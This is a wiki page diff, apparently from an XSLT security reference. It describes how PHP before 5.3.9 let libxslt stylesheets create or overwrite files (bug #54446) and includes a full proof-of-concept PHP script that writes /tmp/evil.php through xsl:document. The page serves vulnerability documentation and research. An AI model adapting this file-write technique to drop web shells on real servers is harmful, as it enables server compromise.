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Last modified by Nicolas Gregoire on 2012/02/02 17:29
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edited by Nicolas Gregoire
on 2012/01/13 16:27
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5 -Version 5 of the PHP language uses the [[libxslt>>Engine_libxslt]] engine to transform XML documents using XSLT. Prior to version 5.3.9, calls to libxslt were not restricted using xsltSetSecurityPrefs(). It was then possible to create / overwrite files on the engine side, typically for dropping a PHP Web Shell (cf [[Bug #54446>>https://bugs.php.net/bug.php?id=54446||rel="__blank"]]).
5 +== Creating files ==
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7 +Version 5 of the PHP language uses the [[libxslt>>Engine_libxslt]] engine to transform XML documents using XSLT. Prior to version 5.3.9, calls to libxslt were not restricted via xsltSetSecurityPrefs(). It was then possible to create / overwrite files on the engine side, typically for dropping a PHP Web Shell (cf [[Bug #54446>>https://bugs.php.net/bug.php?id=54446||rel="__blank"]]).
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10 +The attached [[create-file-via-libxslt.php>>attach:create-file-via-libxslt.php]] PoC will drop a basic PHP script in /tmp/.
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1 +<?php
2 +
3 +$sXml = '<empty/>';
4 +
5 +$sXsl = <<<EOT
6 +<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
7 +
8 + <xsl:template match="/">
9 + <xsl:document href="/tmp/evil.php" method="text">
10 + <xsl:text><![CDATA[<?php phpinfo() ?>]]></xsl:text>
11 + </xsl:document>
12 + </xsl:template>
13 +
14 +</xsl:stylesheet>
15 +EOT;
16 +
17 +# LOAD XML FILE
18 +$XML = new DOMDocument();
19 +$XML->loadXML( $sXml );
20 +
21 +# LOAD XSLT FILE
22 +$XSL = new DOMDocument();
23 +$XSL->loadXML( $sXsl );
24 +
25 +# START XSLT
26 +$xslt = new XSLTProcessor();
27 +$xslt->importStylesheet( $XSL );
28 +
29 +# TRASNFORM & PRINT
30 +print $xslt->transformToXML( $XML );
31 +
32 +?>
33 +